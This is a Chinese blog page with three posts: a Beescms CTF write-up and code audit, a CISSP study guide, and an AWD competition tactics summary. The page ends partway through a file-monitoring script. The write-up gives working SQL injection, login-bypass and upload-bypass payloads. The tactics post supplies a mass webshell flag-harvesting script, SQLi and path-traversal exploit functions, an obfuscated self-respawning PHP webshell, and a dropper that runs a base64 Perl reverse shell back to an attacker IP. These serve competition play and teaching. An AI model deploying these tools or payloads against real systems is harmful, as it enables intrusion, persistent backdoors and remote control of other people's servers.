AWD writeup&Beescms代码审计

tinyfisher 发表于 2018-02-18

AWD writeup&Beescms代码审计

本篇原创文章参加安全客双倍稿费活动
前段时间,团队搞了一次CTF线下攻防赛,用的是Beescms,比赛时间太短,没来得及找出所有漏洞,现在好好审一审这个CMS。

一、预留后门
比赛开始,还是将整个/var/www/html目录下载下来,用D盾扫一下,是否有预留后门:
ctf1
看到site/sitemap.php 文件疑似木马,查看一下:
ctf2
看到$_POST‘lang’;很明显,这是一个木马,但是比常见的一句话木马稍微复杂一点,需要构造参数lang和0:
Post:lang=system
Get:0=ls
ctf3
要拿flag的话将0=cat /flag即可:
ctf4
所以直接用上面的payload攻击其他队伍即可,同时删掉自身的后门文件。

二、后台SQL注入
在后台登陆用户名处加个’测试一下SQL注入:

ctf5
发现报错,十有八九存在SQL注入:
ctf6
看下/admin/login.php内容:
ctf7
在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),跟进check_login()看下:
ctf8
在fun.php的971行可以看到SQL语句对user参数进行了拼接,猜测fl_value()和fl_html()是对user进行过滤,跟进分别看下:
ctf9
在fun.php的1755行,fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空,这个绕过很简单,在关键词中再插入关键词即可绕过,如:seleselectct;fl_html()其实就是htmlspecialchars(),防止XSS攻击,由于htmlspecialchars()采用的是默认参数,仅编码双引号,所以对于’不会过滤,要想过滤单引号和双引号需要加上ENT_QUOTES参数,即htmlspecialchars($str, ENT_QUOTES)。所以结合上述分析,SQL注入payload为:

user=admin' uni union on selselectect 1,2,3,4,5#&password=3&code=6c3d&submit=true&submit.x=28&submit.y=35  

ctf10
知道了这个注入规则之后,就有各种各样的注入方法了,尝试利用into outfile写木马进去,发现MySQL server is running with the –secure-file-priv option,而且fl_html()会过滤<>,因此放弃了这条路,继续找其他漏洞。
ctf11

三、后台任意文件上传

比赛中后台存在弱口令admin/admin,可以登录后台进行测试。这里猥琐一点立即修改其他队伍后台密码,其他队伍就比较被动了。
在后台发现有图片上传的地方,并且可以返回图片路径:
ctf12
尝试是否可以上传wenshell,发现直接上传不行,尝试将content type改为image/jpeg,即可上传成功:
ctf13
并且返回文件路径:
img/201802181347419112.php
用菜刀连接:
ctf14
进一步代码审计上传文件处代码:
在admin/upload.php中的第44行发现,上传调用了up_img()函数,跟进去看看:
ctf15
在fun.php中的571行找到该函数,发现仅仅对上传图片的type进行了验证:
ctf16
利用upload.php中定义的白名单:’image/gif’,’image/jpeg’,’image/png’,’image/jpg’,’image/bmp’,’image/pjpeg’进行匹配,如果不在白名单里,提示图片格式不正确。而且对文件后缀没有进行判断,直接拼接:
ctf17
因此,修改content type即可绕过限制,上传webshell。

四、前台登陆绕过

由于上传点在后台,所以其他队伍如果修改了密码,就没有办法进行利用,进一步审计登陆判断逻辑:
在admin/init.php中第54行发现判断函数is_login():
ctf18
跟进去看一下,在fun.php的997行发现该函数:
ctf19
这里并没有对用户信息做检查,只是单纯的判断了是否存在login_in admin这两个session标识位和是否超时而已,构造payload:

POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999  

可登陆后台。
ctf20
利用的话,首先绕过前台登陆,然后打开/admin/upload.php 选择一个php文件上传,修改上传包中的Content-Type:为image/png就可以了。

五、通用防御

对于这种任意文件上传漏洞,比赛中一般通用防御是使用文件监控。文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:

# -*- coding: utf-8 -*-
# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
# v demo 0.21 修改了备份的webshell会自己坑自己的情况
# todo: windows下不支持中文目录
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []


# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise


# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist


# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass


# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict


# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])


if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

附:
比赛源代码:
https://pan.baidu.com/s/1smPfmkH
j6y2

CISSP考试一次通过指南(文末附福利)

tinyfisher 发表于 2017-12-22

CISSP考试一次通过指南(文末附福利)

本文属i春秋原创奖励计划,未经许可禁止转载!链接

2017年12月19日,在上海黄浦区汉口路亚洲大厦17层通过了CISSP认证考试,拖拉了一年,终于成绩还算令人满意,为攒人品将自己一年多的复习心得和大家分享,希望能够帮到需要考证的朋友。

先简单介绍下本人专业背景吧,本科和硕士专业都是信息安全,算得上科班出生,只是学校里的课程没学扎实,基础一般,毕业后在某大型金融机构做安全,渗透、漏扫、SOC建设大概做了4年,日常的工作和安全技术还是结合得比较紧密,平时也混迹在各大src,打打ctf,动手能力还行,是广大安全从业人员中的普通一员。

一、CISSP介绍
CISSP 英文全称:“ Certified Information Systems Security Professional”,中文全称:“(ISC)²注册信息系统安全专家”,由(ISC)²组织和管理,是目前全球范围内最权威,最专业,最系统的信息安全认证。

CISSP的含金量和认可度还是很高的,考试费用也不菲,599刀,涉及的内容非常广泛,号称安全界的“百科全书”,不过虽然涉及的范围广,但很多都是点到为止, “一英里宽,一英寸深”,这是CISSP最大的特点。

为什么考CISSP?用我们领导的话说,可以迅速建立起个人对安全体系的知识框架,认证+读行业标准是最有效的方法。

二、CISSP复习攻略
决定了考CISSP之后就要尽快的解决战斗,拖的时间越长越对生活有影响,最好在半年内完成复习和考试,本人这次因为种种原因,拖了一年,深刻感受到战线过长的痛苦。

我的复习材料:All in One的第六版中文版+OSG官方学习指南中文版+官方习题英文版

cissp1

All in one前前后后看了3遍,OSG看了2遍,这两本教材内容基本差不太多,all in one讲的比较细,比较啰嗦,OSG和考纲结合得比较紧,内容也比较紧凑,建议大家直接看OSG即可,但务必要多读几遍,对书中的知识点都要弄懂。

CISSP现在最新的考纲包括8个CBK:

• 安全与风险管理 (安全、风险、合规、法律、法规、业务连续性)

• 资产安全 (保护资产的安全性)

• 安全工程 (安全工程与管理)

• 通信与网络安全 (设计和保护网络安全 )

• 身份与访问管理 (访问控制和身份管理 )

• 安全评估与测试 (设计、执行和分析安全测试)

• 安全运营 (基本概念、调查、事件管理、灾难恢复)

• 软件开发安全 (理解、应用、和实施软件安全)

之所以称之为安全界的“百科全书”,是因为上述8个领域基本涵盖了安全工作中的所有方面,个人在安全评估与测试、安全运营这两个领域有一些实际的经验,其他的领域接触得还不深,所以在复习的时候,针对不熟悉的领域花更多的时间去理解,不懂的多去百度,有的时候百度讲的比教材里更清楚。一定要做笔记,不然书中很多看完就忘了,做笔记可以加深印象。如果有钱,还可以去报辅导班,让辅导老师给你先拎一下复习大纲。

书看完之后可能没有什么感觉,一定要做题,仅仅做书中每个章节的习题是不够的,all in one的习题比较难,OSG的习题比较简单,建议大家还是做官方的习题集,毕竟是官方出的习题,应该是和考试最接近的材料了,不过现在只有英文版的,对于英语一般的朋友可能做起来比较吃力,加之之前看的中文版,很多专有术语都得和英文对上,我在做题的时候也是比较痛苦。官方习题里面很多题目是把官方教材里的某句话的内容扣掉,让你选择,所以做题加看书能够起到很到的看书效果。贴一下我的复习成果吧:

cissp2

三、考试技巧

CISSP考试最大的特点是没题库可以背。考试里面直接考概念和定义的题目很少。大量场景题,比如给你一段文字描述,说某企业面临了XX问题,问你最佳解决思路是什么。如果没有在安全行业做上几年的经历,很容易被选项的文字迷惑。还有就是大量的优中选最优的问题,往往四个答案都对,需要选出最佳的答案,这个时候就需要把自己当成CSO去考虑安全问题。

考试时间6个小时,大家一定要做好充分的准备,巧克力、红牛、干粮、水都得带足,中间状态不太好的时候可以出来补充能量。时间一般肯定够,所以大家不用特别着急,细心去审题,遇到有问题的可以打个标记跳过,说不定后面的题目会给你带来做题思路。

多用排除法,有些题目可以迅速排除2个选项,剩下的两个自己拿捏一下,往往正确率还可以。考试现在有中文的,翻译一般没啥问题,但是有的可能还是得看一下英文,往往看完英文会更好的理解题目的意思。

考试环境一般都是可以的,这次考试和我同一时间的好多都是考GMAT的学生,考试中心给我单独安排了一个单间,还送了耳塞,考试环境很安静,很nice。

最后,不要怕,不过是一个考试而已。套用到实际工作中去,很多题不知道怎么选,我就想象放到我们公司我会怎么做。

祝大家都能够通过CISSP考试,我的一些复习材料(考试机构的复习题、中英文教材,思维导图)放在百度云盘:https://pan.baidu.com/s/1hr3dwLu a74r 分享给大家,给我的这次备考画上句号。

CTF线下赛AWD套路小结

tinyfisher 发表于 2017-10-02

CTF线下赛AWD套路小结

本文已在先知社区发表,欢迎访问,链接h

最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了。

一、AWD模式简介
AWD:Attack With Defence,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

  • 一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
  • 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;
  • flag在主办方的设定下每隔一定时间刷新一轮;
  • 各队一般都有自己的初始分数;
  • flag一旦被其他队伍拿走,该队扣除一定积分;
  • 扣除的积分由获取flag的队伍均分;
  • 主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分;
  • 一般每个队伍会给一个低权限用户,非root权限;

二、网络环境
网络拓扑如下图所示:

ctf1

比赛中获取flag一般有两种模式:
(1)flag在根目录下,读取flag内容,提交即可得分
(2)拿到其他队伍shell后,执行指定命令(curl 10.0.0.2),即可从上图中flag机获取flag内容;
比赛可能会告诉你其他队伍的IP,也可能不会告诉你,一般在同一个C段或者B段,因此首先可以利用nmap等扫描工具发现其他队伍的IP:

nmap –sn 192.168.71.0/24  

或者用https://github.com/zer0h/httpscan 的脚本进行扫描

三、比赛分工

线下赛一般3人左右,2人攻击,1人防御,因为发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守。

比赛中每个队伍可能会维护多个靶机,web、二进制等,也可以每人负责一台,各自负责攻击和防御。

四、一些“套路”

1.备份!备份!备份!

重要的事情说三遍,比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html),这是自我审计的基础,也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会,有的比赛不提供,所以备份十分重要。

可以用scp命令,也可用一些图形化的工具:Winscp,FileZilla,操作起来比较方便。
ctf2
2.口令问题
弱口令的问题几乎是必考,比赛开始后,如果发现每个队伍的SSH账号密码都是一样的(某次比赛中都是phpcms、wordpress),需要立即修改口令,如果被其他队伍改了那就gg了。
Web后台很有可能存在弱口令,一般都是admin/admin,admin/123456,test/test等等,同样需要立即修改,也可以修改其他队伍的后台口令,为本队所用,说不定可以利用后台getshell,比如十分常见的wordpress。
不过有的比赛不允许修改后台口令,如果修改视为服务宕机,这样还是不要动口令的心思了。

3.预留后门
在维护的服务器上,很有可能已经预留了一个或多个后门,比如一句话木马,这个是送分题,可以利用这个漏洞迅速打一波,还可以视情况“搅屎”,利用这个漏洞一直维持权限,每轮都得分(后面细说)
将服务器中web目录下载到本地,利用D盾扫描,一般就可以发现预留后门: ctf3
发现后门后,第一时间删除,同时利用这个漏洞发起第一波攻击,如果利用菜刀连,显然不够优雅,还没连完,人家估计都删的差不多了,因此这个漏洞虽然是送分,但拼的是手速,因此得提前准备好脚本:

#coding=utf-8
import requests
url="http://192.168.71."
url1=""
shell="/Upload/index.php"
passwd="abcde10db05bd4f6a24c94d7edde441d18545" 
port="80"
payload = {passwd: 'system(\'cat /flag\');'}
f=open("webshelllist.txt","w") 
f1=open("firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]: 
    url1=url+str(i)+":"+port+shell
    try:
        res=requests.post(url1,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            print url1+" connect shell sucess,flag is "+res.text
            print >>f1,url1+" connect shell sucess,flag is "+res.text
            print >>f,url1+","+passwd
        else:
            print "shell 404"
    except:
        print url1+" connect shell fail"
		
f.close()
f1.close()

配置一下其他队伍地址、shell路径和密码,就可以进行攻击,flag记录在firstround_flag.txt中,某次比赛实际情况如下:
ctf4

4.常见漏洞
常见的漏洞包括SQL注入、文件包含、文件上传等等。对于SQL注入类的漏洞,一般不会有过滤,可以用sqlmap跑出来,再利用—sql-shell执行select load_file(‘/flag’);即可得到flag,也可以利用into outfile写木马维持权限,但要根据实际情况,可能会遇到权限问题。用sqlmap跑比较耗时,可以利用payload写一个python,自动化进行攻击:

def sqli(host):
    global sess_admin
    data = {"section_name":"asd","admin_name":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","announcement":"asd"}
    r = sess_admin.post('http://%s/index.php/section/add'%host,data=data)
    flags = re.findall(r'~(.+?)~',r.content)
    if flags:
        return flags[0]
    else:
        return "error pwn!"

对于文件包含漏洞,直接可以通过../../../../../../flag的方式获取:

def include(host):
    r = requests.get(url="http://%s/?t=../../../../../../flag"%host)
    flags = re.findall(r'^(.+?)<',r.content)
    if flags:
        return flags[0]
    else:
        return "error pwn!"

上传漏洞一般也是比较简单的黑名单过滤、服务器解析漏洞等等,可以直接上传木马;

五、权限维持

这里说的方法就比较“搅屎”了,上面说到利用预留后门可以维持权限,主要有两种,一种是“不死马”,另一种是反弹shell
1.“不死马”

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
        file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');
        system('chmod 777 .config.php');
        touch("./.config.php",mktime(20,15,1,11,28,2016));
        usleep(100);
        }
?>

利用预留后门,上传上面的“不死马”并访问,就会一直生成.config.php的一句话木马,木马内容可以自行修改,只要别被其他队伍看懂就行。
这个不死马比较猥琐,解决的方法需要重启apache,或者写一个程序不停kill这个不死马进程。
2.反弹shell

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.71.1"; 
$yourport = '9999'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?> 

利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了
ctf5
需要注意的是,上面的2种方法,需要网站的权限为www-data,如果网站的权限是ctf,那么是没有权限上传文件的。

六、通用防御

对于防御,一般通用有两种方法:WAF、文件监控
(1)WAF

<?php
//Code By Safe3 
function customError($errno, $errstr, $errfile, $errline)
{ 
 echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
 die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){  

if(is_array($StrFiltValue))
{
    $StrFiltValue=implode($StrFiltValue);
}  
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){   
        //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
        print "360websec notice:Illegal operation!";
        exit();
}      
}  
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){ 
    StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){ 
    StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){ 
    StopAttack($key,$value,$cookiefilter);
}
if (file_exists('update360.php')) {
    echo "请重命名文件update360.php,防止黑客利用<br/>";
    die();
}
function slog($logs)
{
  $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
  $Ts=fopen($toppath,"a+");
  fputs($Ts,$logs."\r\n");
  fclose($Ts);
}
?>

使用方法:
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码

require_once('waf.php');  

就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once(‘waf.php’);来调用本代码
常用php系统添加文件

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php

b).在每个文件最前加上代码
在php.ini中找到:

Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;

需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。

(2)文件监控
文件监控可以对web目录进行监控,发现新上传文件或者文件被修改立即恢复,这样可以防止上传shell等攻击:

# -*- coding: utf-8 -*-
# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
# v demo 0.21 修改了备份的webshell会自己坑自己的情况
# todo: windows下不支持中文目录
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []


# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise


# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist


# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass


# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict


# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])


if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
